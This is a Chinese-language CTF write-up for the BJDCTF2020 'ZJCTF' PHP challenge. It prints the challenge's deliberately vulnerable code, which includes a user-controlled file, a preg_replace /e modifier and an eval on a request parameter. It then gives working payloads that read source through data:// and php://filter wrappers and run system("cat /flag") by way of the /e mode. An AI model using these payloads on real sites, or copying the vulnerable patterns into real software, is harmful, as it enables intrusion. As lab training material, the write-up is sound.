2020/7/15 - [BJDCTF2020]ZJCTF,不过如此 - 伪协议、preg_replace /e模式命令执行

文章目录

      • 1.代码审计
      • 2.base后,再审计
      • 3.payload

根据开始的时候主页面给得php代码

1.代码审计



error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "

".file_get_contents($text,'r')."


"
; if(preg_match("/flag/",$file)){ die("Not now!"); } include($file); //next.php } else{ highlight_file(__FILE__); } ?>

利用data与php伪协议读取所提示得next.php的内容,下面是payload

?text=data://text/plain,I%20have%20a%20dream&file=php://filter/convert.base64-encode/resource=next.php

2.base后,再审计

下面是解base64之后的php代码


$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

这里要利用到的函数是preg_replace /e模式下代码执行
深入研究preg_replace与代码执行
这篇文章提供了一种payload就是\S*=${phpinfo()},这样就能执行大括号里的函数了,这道题目我们可以将phpinfo()换为代码中的getflag()函数从而执行传入的cmd代码。

3.payload

/next.php?\S*=${getFlag()}&cmd=system("cat /flag");

记住S要是大写才行。
2020/7/15 - [BJDCTF2020]ZJCTF,不过如此 - 伪协议、preg_replace /e模式命令执行_第1张图片

你可能感兴趣的:(CTF,php,web,安全)